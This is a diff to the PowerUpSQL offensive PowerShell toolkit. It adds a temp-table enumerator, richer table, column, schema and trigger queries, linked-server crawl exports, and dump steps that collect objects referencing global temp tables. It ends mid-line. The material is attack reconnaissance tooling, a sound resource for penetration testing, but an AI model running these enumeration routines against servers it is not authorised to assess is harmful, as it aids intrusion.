diff --git a/LICENSE b/LICENSE index aa9b85b..44d5389 100644 --- a/LICENSE +++ b/LICENSE @@ -2,7 +2,7 @@ PowerUpSQL is provided under the 3-clause BSD license below. ************************************************************* -Copyright (c) 2022, NetSPI +Copyright (c) 2024, NetSPI All rights reserved. Redistribution and use in source and binary forms, with or without diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 5b5ac60..c4f4acd 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -1,9 +1,9 @@ -#requires -version 2 +#requires -version 2 <# File: PowerUpSQL.ps1 - Author: Scott Sutherland (@_nullbind), NetSPI - 2020 + Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.107 + Version: 1.129 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -4660,7 +4660,7 @@ Function Get-SQLTable # Setup table filter if($TableName) { - $TableFilter = " where table_name like '%$TableName%'" + $TableFilter = " WHERE t.TableName like '%$TableName%'" } else { @@ -4729,13 +4729,25 @@ Function Get-SQLTable $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], - TABLE_CATALOG AS [DatabaseName], - TABLE_SCHEMA AS [SchemaName], - TABLE_NAME as [TableName], - TABLE_TYPE as [TableType] - FROM [$DbName].[INFORMATION_SCHEMA].[TABLES] - $TableFilter - ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME" + t.TABLE_CATALOG AS [DatabaseName], + t.TABLE_SCHEMA AS [SchemaName], + t.TABLE_NAME AS [TableName], + CASE + WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE t.TABLE_TYPE + END AS TableType, + s.is_ms_shipped, + s.is_published, + s.is_schema_published, + s.create_date, + s.modify_date AS modified_date + FROM [$DbName].[INFORMATION_SCHEMA].[TABLES] t + JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id) + JOIN sys.objects s ON st.object_id = s.object_id + $TableFilter + ORDER BY t.TABLE_CATALOG, t.TABLE_SCHEMA, t.TABLE_NAME" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -4752,6 +4764,195 @@ Function Get-SQLTable } } +# ---------------------------------- +# Get-SQLTableTemp +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLTableTemp +{ + <# + .SYNOPSIS + Returns table information from target SQL Servers. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .EXAMPLE + PS C:\> Get-SQLTableTemp -Instance SQLServer1\STANDARDDEV2014 + + Table_Name : #B6E36D7A + Column_Name : SnapshotDataId + Column_Type : uniqueidentifier + Table_Type : TableVariable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/14/2024 6:09:48 PM + modify_date : 5/14/2024 6:09:48 PM + + Table_Name : #LocalTempTbl____________________________________________ + _________________________________________________________ + __00000000002D + Column_Name : Testing123 + Column_Type : text + Table_Type : LocalTempTable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/15/2024 4:37:46 PM + modify_date : 5/15/2024 4:37:46 PM + + Table_Name : ##GlobalTempTbl + Column_Name : Spy_id + Column_Type : int + Table_Type : GlobalTempTable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/15/2024 4:38:10 PM + modify_date : 5/15/2024 4:38:10 PM + + Table_Name : ##GlobalTempTbl + Column_Name : SpyName + Column_Type : text + Table_Type : GlobalTempTable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/15/2024 4:38:10 PM + modify_date : 5/15/2024 4:38:10 PM + + Table_Name : ##GlobalTempTbl + Column_Name : RealName + Column_Type : text + Table_Type : GlobalTempTable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/15/2024 4:38:10 PM + modify_date : 5/15/2024 4:38:10 PM + .EXAMPLE + PS C:\> Get-SQLInstanceDomain | Get-SQLTableTemp -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + $TblTables = New-Object -TypeName System.Data.DataTable + + # Setup table filter + if($TableName) + { + $TableFilter = " where table_name like '%$TableName%'" + } + else + { + $TableFilter = '' + } + } + + Process + { + # Note: Tables queried by this function can be executed by any login. + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose -Message "$Instance : Grabbing tables from databases below:" + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Define Query + $Query = "SELECT SERVERPROPERTY('MachineName') as Computer_Name, + @@SERVERNAME AS Instance, + 'tempdb' as 'Database_Name', + SCHEMA_NAME(t1.schema_id) AS 'Schema_Name', + t1.name AS 'Table_Name', + CASE + WHEN (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t1.name LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t1.name NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE NULL + END AS Table_Type, + t2.name AS 'Column_Name', + t3.name AS 'Column_Type', + t1.is_ms_shipped, + t1.is_published, + t1.is_schema_published, + t1.create_date, + t1.modify_date + FROM [tempdb].[sys].[objects] AS t1 + JOIN [tempdb].[sys].[columns] AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID + JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id + WHERE t1.name LIKE '#%'; + " + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Append results + $TblTables = $TblTables + $TblResults + } + + End + { + # Return data + $TblTables + } +} + # ---------------------------------- # Get-SQLColumn @@ -4846,7 +5047,7 @@ Function Get-SQLColumn # Setup table filter if($TableName) { - $TableNameFilter = " and TABLE_NAME like '%$TableName%'" + $TableNameFilter = " and t.TABLE_NAME like '%$TableName%'" } else { @@ -4856,7 +5057,7 @@ Function Get-SQLColumn # Setup column filter if($ColumnName) { - $ColumnFilter = " and column_name like '$ColumnName'" + $ColumnFilter = " and c.COLUMN_NAME like '$ColumnName'" } else { @@ -4866,7 +5067,7 @@ Function Get-SQLColumn # Setup column filter if($ColumnNameSearch) { - $ColumnSearchFilter = " and column_name like '%$ColumnNameSearch%'" + $ColumnSearchFilter = " and c.COLUMN_NAME like '%$ColumnNameSearch%'" } else { @@ -4886,11 +5087,11 @@ Function Get-SQLColumn if($i -eq ($Keywords.Count -1)) { - $ColumnSearchFilter = "and column_name like '%$Keyword%'" + $ColumnSearchFilter = "and c.COLUMN_NAME like '%$Keyword%'" } else { - $ColumnSearchFilter = $ColumnSearchFilter + " or column_name like '%$Keyword%'" + $ColumnSearchFilter = $ColumnSearchFilter + " or c.COLUMN_NAME like '%$Keyword%'" } } } @@ -4951,17 +5152,34 @@ Function Get-SQLColumn $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], - TABLE_CATALOG AS [DatabaseName], - TABLE_SCHEMA AS [SchemaName], - TABLE_NAME as [TableName], - COLUMN_NAME as [ColumnName], - DATA_TYPE as [ColumnDataType], - CHARACTER_MAXIMUM_LENGTH as [ColumnMaxLength] - FROM [$DbName].[INFORMATION_SCHEMA].[COLUMNS] WHERE 1=1 - $ColumnSearchFilter - $ColumnFilter - $TableNameFilter - ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME" + t.TABLE_CATALOG AS [DatabaseName], + t.TABLE_SCHEMA AS [SchemaName], + t.TABLE_NAME as [TableName], + CASE + WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE t.TABLE_TYPE + END AS [TableType], + c.COLUMN_NAME as [ColumnName], + c.DATA_TYPE as [ColumnDataType], + c.CHARACTER_MAXIMUM_LENGTH as [ColumnMaxLength], + st.is_ms_shipped, + st.is_published, + st.is_schema_published, + st.create_date, + st.modify_date AS modified_date + FROM [$DbName].[INFORMATION_SCHEMA].[TABLES] t + JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id) + JOIN sys.objects s ON st.object_id = s.object_id + LEFT JOIN sys.extended_properties ep ON s.object_id = ep.major_id + AND ep.minor_id = 0 + JOIN [$DbName].[INFORMATION_SCHEMA].[COLUMNS] c ON t.TABLE_NAME = c.TABLE_NAME AND t.TABLE_SCHEMA = c.TABLE_SCHEMA + WHERE 1=1 + $ColumnSearchFilter + $ColumnFilter + $TableNameFilter + ORDER BY t.TABLE_CATALOG, t.TABLE_SCHEMA, t.TABLE_NAME, c.ORDINAL_POSITION" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose @@ -5559,9 +5777,13 @@ Function Get-SQLDatabaseSchema [string]$SchemaName, [Parameter(Mandatory = $false, - HelpMessage = "Don't select tables from default databases.")] + HelpMessage = "Don't select schemas from default databases.")] [switch]$NoDefaults, + [Parameter(Mandatory = $false, + HelpMessage = "Show database role based schemas. Hidden by default.")] + [switch]$ShowRoleSchemas, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -5575,7 +5797,7 @@ Function Get-SQLDatabaseSchema # Setup schema filter if($SchemaName) { - $SchemaNameFilter = " where schema_name like '%$SchemaName%'" + $SchemaNameFilter = " where s.name like '%$SchemaName%'" } else { @@ -5640,13 +5862,20 @@ Function Get-SQLDatabaseSchema # Define Query $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], - '$Instance' as [Instance], - CATALOG_NAME as [DatabaseName], - SCHEMA_NAME as [SchemaName], - SCHEMA_OWNER as [SchemaOwner] - FROM [$DbName].[INFORMATION_SCHEMA].[SCHEMATA] + '$Instance' as [Instance], + DB_NAME() AS [DatabaseName], + s.schema_id AS [SchemaId], + s.name AS [SchemaName], + s.principal_id AS [OwnerId], + USER_NAME(s.principal_id) AS [OwnerName] + FROM + sys.schemas AS s + JOIN + [$DbName].[INFORMATION_SCHEMA].[SCHEMATA] AS i + ON + s.name = i.SCHEMA_NAME $SchemaNameFilter - ORDER BY SCHEMA_NAME" + ORDER BY s.name;" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose @@ -5659,7 +5888,11 @@ Function Get-SQLDatabaseSchema End { # Return data - $TblSchemas + if($ShowRoleSchemas){ + $TblSchemas + }else{ + $TblSchemas | Where SchemaId -lt 1000 + } } } @@ -9448,9 +9681,9 @@ Function Get-SQLServiceAccount DECLARE @AgentInstance VARCHAR(250) DECLARE @IntegrationVersion VARCHAR(250) DECLARE @DBEngineLogin VARCHAR(100) - DECLARE @AgentLogin VARCHAR(100) + DECLARE @AgentLogin VARCHAR(100) DECLARE @BrowserLogin VARCHAR(100) - DECLARE @WriterLogin VARCHAR(100) + DECLARE @WriterLogin VARCHAR(100) DECLARE @AnalysisLogin VARCHAR(100) DECLARE @ReportLogin VARCHAR(100) DECLARE @IntegrationDtsLogin VARCHAR(100) @@ -9504,7 +9737,24 @@ Function Get-SQLServiceAccount End { # Return data - $TblServiceAccount + # $TblServiceAccount + + # Create new table + $TblNewObject = New-Object -TypeName System.Data.DataTable + $null = $TblNewObject.Columns.Add("ComputerName") + $null = $TblNewObject.Columns.Add("Instance") + $null = $TblNewObject.Columns.Add("ServiceType") + $null = $TblNewObject.Columns.Add("ServiceAccount") + + # Add rows + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"AgentService",$TblServiceAccount.AgentLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"AnalysisService",$TblServiceAccount.AnalysisLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"BrowserService",$TblServiceAccount.BrowserLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"SQLService",$TblServiceAccount.DBEngineLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"IntegrationService",$TblServiceAccount.IntegrationLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"ReportService",$TblServiceAccount.ReportLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"WriterService",$TblServiceAccount.WriterLogin) + $TblNewObject } } @@ -12010,21 +12260,25 @@ Function Get-SQLTriggerDml $Query = " use [$DbName]; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], - '$DbName' as [DatabaseName], - name as [TriggerName], - object_id as [TriggerId], + '$DbName' AS [DatabaseName], + SCHEMA_NAME(o.schema_id) AS [SchemaName], + t.name AS [TriggerName], + t.object_id AS [TriggerId], [TriggerType] = 'DATABASE', - type_desc as [ObjectType], - parent_class_desc as [ObjectClass], - OBJECT_DEFINITION(OBJECT_ID) as [TriggerDefinition], - create_date, - modify_date, - is_ms_shipped, - is_disabled, - is_not_for_replication, - is_instead_of_trigger - FROM [$DbName].[sys].[triggers] WHERE 1=1 - $TriggerNameFilter" + t.type_desc AS [ObjectType], + t.parent_class_desc AS [ObjectClass], + OBJECT_DEFINITION(t.object_id) AS [TriggerDefinition], + t.create_date, + t.modify_date, + t.is_ms_shipped, + t.is_disabled, + t.is_not_for_replication, + t.is_instead_of_trigger + FROM + [sys].[triggers] t + INNER JOIN + [sys].[objects] o ON t.parent_id = o.object_id + WHERE 1=1 $TriggerNameFilter" # Execute Query $TblDmlTriggersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -12371,9 +12625,9 @@ Function Get-SQLStoredProcedureCLR # Check count $CLRCount = $TblAssemblyFiles.Rows.Count if ($CLRCount -gt 0){ - Write-Verbose "$Instance : Found $CLRCount CLR stored procedures" + Write-Verbose "$Instance : - Found $CLRCount CLR stored procedures" }else{ - Write-Verbose "$Instance : No CLR stored procedures found." + Write-Verbose "$Instance : - No CLR stored procedures found." } # Return data @@ -12793,32 +13047,33 @@ Function Get-SQLStoredProcedureXP '$Instance' as [Instance], '$DbName' as [DatabaseName], o.object_id, - o.parent_object_id, - o.schema_id, - o.type, - o.type_desc, - o.name, - o.principal_id, - s.text, - s.ctext, - s.status, - o.create_date, - o.modify_date, - o.is_ms_shipped, - o.is_published, - o.is_schema_published, - s.colid, - s.compressed, - s.encrypted, - s.id, - s.language, - s.number, - s.texttype - FROM sys.objects o - INNER JOIN sys.syscomments s - ON o.object_id = s.id - WHERE o.type = 'x' - $ProcedureNameFilter" + o.parent_object_id, + o.schema_id, + sc.name AS schema_name, + o.type, + o.type_desc, + o.name, + o.principal_id, + s.text, + CAST(s.ctext AS NVARCHAR(MAX)) AS ctext, + s.status, + o.create_date, + o.modify_date, + o.is_ms_shipped, + o.is_published, + o.is_schema_published, + s.colid, + s.compressed, + s.encrypted, + s.id, + s.language, + s.number, + s.texttype + FROM sys.objects o + INNER JOIN sys.syscomments s ON o.object_id = s.id + INNER JOIN sys.schemas sc ON o.schema_id = sc.schema_id + WHERE o.type = 'x' + $ProcedureNameFilter" # Execute Query $TblXpProcsTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -15289,7 +15544,11 @@ Function Get-SQLServerLinkCrawl{ [Parameter(Mandatory=$false, HelpMessage="Convert collected data to exportable format.")] - [switch]$Export + [switch]$Export, + + [Parameter(Mandatory=$false, + HelpMessage="Convert collected data to exportable format that is easier to work with.")] + [switch]$Export2 ) Begin @@ -15325,6 +15584,7 @@ Function Get-SQLServerLinkCrawl{ } } + # Return exportable format if($Export){ $LinkList = New-Object System.Data.Datatable [void]$LinkList.Columns.Add("Instance") @@ -15340,9 +15600,48 @@ Function Get-SQLServerLinkCrawl{ } return $LinkList - } else { - return $List + break } + + # Return exportable format 2 + if($Export2){ + $LinkList = $List | + foreach { + [string]$StringLinkPath = "" + $Path = $_.path + $PathCount = $Path.count - 1 + $LinkSrc = $Path[$PathCount -1] + $LinkDes = $Path[$PathCount] + $LinkUser = $_.user + $LinkDesSysadmin = $_.Sysadmin + $Instance = $_.instance + $LinkDesVersion = $_.Version + $Path | + foreach { + if ( $StringLinkPath -eq ""){ + [string]$StringLinkPath = "$_" + }else{ + [string]$StringLinkPath = "$StringLinkPath -> $_" + } + } + $Object = New-Object PSObject + $Object | add-member Noteproperty LinkSrc $LinkSrc + $Object | add-member Noteproperty LinkName $LinkDes + $Object | add-member Noteproperty LinkInstance $Instance + $Object | add-member Noteproperty LinkUser $LinkUser + $Object | add-member Noteproperty LinkSysadmin $LinkDesSysadmin + $Object | add-member Noteproperty LinkVersion $LinkDesVersion + $Object | add-member Noteproperty LinkHops $PathCount + $Object | add-member Noteproperty LinkPath $StringLinkPath + $Object + } + + return $LinkList + break + } + + # Return powershell object (default) + $List } End @@ -26511,7 +26810,12 @@ Function Invoke-SQLDumpInfo [Parameter(Mandatory = $false, HelpMessage = 'Write output to csv files.')] - [switch]$csv + [switch]$csv, + + [Parameter(Mandatory = $false, + HelpMessage = 'Crawl available SQL Server links.')] + [switch]$CrawlLinks + ) Begin @@ -26576,21 +26880,21 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseUsers + # Getting Database Users Write-Verbose -Message "$Instance - Getting database users for databases..." $Results = Get-SQLDatabaseUser -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_Users.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_users.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_Users.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_users.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabasePrivs + # Getting Database Privs Write-Verbose -Message "$Instance - Getting privileges for databases..." $Results = Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -26604,7 +26908,7 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseRoles + # Getting Database Roles Write-Verbose -Message "$Instance - Getting database roles..." $Results = Get-SQLDatabaseRole -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -26632,7 +26936,7 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseTables + # Getting Database Schemas Write-Verbose -Message "$Instance - Getting database schemas..." $Results = Get-SQLDatabaseSchema -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -26646,7 +26950,21 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseTables + # Getting Temp Tables + Write-Verbose -Message "$Instance - Getting temp tables..." + $Results = Get-SQLTableTemp -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_temp_tables.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_temp_tables.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Database Tables Write-Verbose -Message "$Instance - Getting database tables..." $Results = Get-SQLTable -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -26707,12 +27025,12 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLServerConfiguration -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Configuration.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_configuration.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Configuration.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_configuration.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26758,20 +27076,6 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting Server Links - Write-Verbose -Message "$Instance - Getting server links..." - $Results = Get-SQLServerLink -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose - if($xml) - { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.xml' - $Results | Export-Clixml $OutPutPath - } - else - { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.csv' - $Results | Export-Csv -NoTypeInformation $OutPutPath - } - # Getting Server Credentials Write-Verbose -Message "$Instance - Getting server credentials..." $Results = Get-SQLServerCredential -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -26814,6 +27118,21 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + + # Getting Stored Procedures that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting stored procedures that use global temp tables..." + $Results = Get-SQLStoredProcedure -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | where ProcedureDefinition -like "*##*" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting Custom XP Stored Procedures Write-Verbose -Message "$Instance - Getting custom extended stored procedures..." $Results = Get-SQLStoredProcedureXP -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -26875,12 +27194,12 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLStoredProcedureCLR -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedur_CLR.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_clr.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_CLR_stored_procedure_CLR.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_clr.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26898,6 +27217,20 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Triggers DML that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting DML triggers that use global temp tables..." + $Results = Get-SQLTriggerDml -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | where TriggerDefinition -like "*##*" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting Triggers DDL Write-Verbose -Message "$Instance - Getting DDL triggers..." $Results = Get-SQLTriggerDdl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -26912,17 +27245,31 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Triggers DDL that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting DDL triggers that use global temp tables..." + $Results = Get-SQLTriggerDdl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | where TriggerDefinition -like "*##*" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_ddl_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_ddl_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting Version Information Write-Verbose -Message "$Instance - Getting server version information..." $Results = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_version.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_version.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26954,17 +27301,31 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting Agent Jobs Information - Write-Verbose -Message "$Instance - Getting Agent Jobs information..." + # Getting Agent Jobs + Write-Verbose -Message "$Instance - Getting Agent Jobs..." $Results = Get-SQLAgentJob -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Agent_Job.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_job.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_jobs.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Agent Jobs that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting Agent Jobs that use global temp tables..." + $Results = Get-SQLAgentJob -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Keyword "##" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_job_globaltmptbl.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Agent_Jobs.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_jobs_globaltmptbl.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26973,15 +27334,45 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLOleDbProvder -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_OleDbProvders.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_oledbproviders.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_oledbproviders.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Server Links + Write-Verbose -Message "$Instance - Getting server links..." + $Results = Get-SQLServerLink -Instance $Instance -Username $Username -Password $Password 